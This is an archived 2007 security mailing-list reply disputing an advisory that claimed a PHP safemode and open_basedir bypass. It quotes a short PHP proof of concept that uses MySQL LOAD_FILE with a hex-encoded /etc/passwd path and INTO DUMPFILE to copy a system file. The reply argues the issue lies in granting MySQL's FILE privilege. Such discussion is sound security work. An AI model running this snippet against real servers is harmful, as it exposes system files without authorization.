|
Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com |
From: Ben Wheeler (b.wheeler
ulcc.ac.uk)
Date: Wed Sep 12 2007 - 07:27:01 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
On Tue, Sep 11, 2007 at 04:38:47AM -0000, laurent.gaffiegmail.com wrote:
> Application: PHP <=5.2.4
> Web Site: http://php.net
> Platform: unix
> Bug: safemode & open_basedir bypass
...
> various mysql functions safemode & open_basedir bypass
> ( LOAD_FILE , INTO DUMPFILE , INTO OUTFILE )
...
> <?php
> mysql_connect("localhost", "granted_user","something");
> mysql_query("select load_file(0x2F6574632F706173737764)into dumpfile'/test/123.txt';");
> ?>
I don't see what this has to do with PHP. If a user has been granted
the FILE privilege on MySQL, they can create and read files on the server
with the permissions of the mysqld user. That privilege should clearly
not be granted to untrusted users, at least not without using mysqld's
--secure-file-priv=/some/safe/path option.
Ben
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]